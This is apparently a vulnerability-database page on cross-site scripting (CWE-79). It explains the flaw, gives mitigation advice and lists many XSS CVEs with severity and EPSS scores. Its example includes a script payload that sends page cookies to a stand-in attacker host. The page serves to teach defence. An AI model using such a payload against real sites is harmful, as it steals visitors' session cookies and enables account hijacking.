Fallos del tipo CWE-79

28.608 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-30134MEDIUMphp-mod/curl (a wrapper of the PHP cURL extension) before 2.3.2 allows XSS via the post_file_path_upload.php key parameter and the POST dataEPSS 1.3%CVE-2023-1080MEDIUMGN Publisher <= 1.5.5 - Reflected Cross-Site ScriptingEPSS 1.3%CVE-2016-8608MEDIUMJBoss BRMS 6 and BPM Suite 6 are vulnerable to a stored XSS via business process editor. The flaw is due to an incomplete fix for CVE-2016-5EPSS 1.3%CVE-2018-8846—Philips e-Alert Unit (non-medical device), Version R2.1 and prior. The software does not neutralize or incorrectly neutralizes user-controllEPSS 1.3%CVE-2017-7421—Reflected and stored Cross-Site Scripting (XSS, CWE-79) vulnerabilities in Directory Server (aka Enterprise Server Administration web UI) anEPSS 1.3%CVE-2023-44012MEDIUMCross Site Scripting vulnerability in mojoPortal v.2.7.0.0 allows a remote attacker to execute arbitrary code via the helpkey parameter in tEPSS 1.3%CVE-2021-41248HIGHXSS vulnerability in GraphiQLEPSS 1.3%CVE-2021-3985HIGHCross-site Scripting (XSS) - Stored in kevinpapst/kimai2EPSS 1.3%CVE-2018-0149—A vulnerability in the web-based management interface of Cisco Integrated Management Controller Supervisor Software and Cisco UCS Director SEPSS 1.3%CVE-2022-1555HIGHDOM XSS in microweber ver 1.2.15 in microweber/microweberEPSS 1.3%CVE-2017-0917—Gitlab Community Edition version 10.2.4 is vulnerable to lack of input validation in the CI job component resulting in persistent cross siteEPSS 1.3%CVE-2020-26297HIGHXSS in mdBook's search pageEPSS 1.3%CVE-2024-28157HIGHJenkins GitBucket Plugin 0.8 and earlier does not sanitize Gitbucket URLs on build views, resulting in a stored cross-site scripting (XSS) vEPSS 1.3%CVE-2018-3741—There is a possible XSS vulnerability in all rails-html-sanitizer gem versions below 1.0.4 for Ruby. The gem allows non-whitelisted attributEPSS 1.3%CVE-2023-0968MEDIUMWatu Quiz <= 3.3.9 - Reflected Cross-Site ScriptingEPSS 1.3%CVE-2023-29623MEDIUMPurchase Order Management v1.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the password parameter at EPSS 1.3%CVE-2022-43717MEDIUMApache Superset: Cross-Site Scripting on dashboardsEPSS 1.3%CVE-2023-31548MEDIUMA stored Cross-site scripting (XSS) vulnerability in the FundRaiserEditor.php component of ChurchCRM v4.5.3 allows attackers to execute arbiEPSS 1.2%CVE-2020-15253HIGHStored XSS in GrocyEPSS 1.2%CVE-2022-39348MEDIUMTwisted vulnerable to NameVirtualHost Host header injectionEPSS 1.2%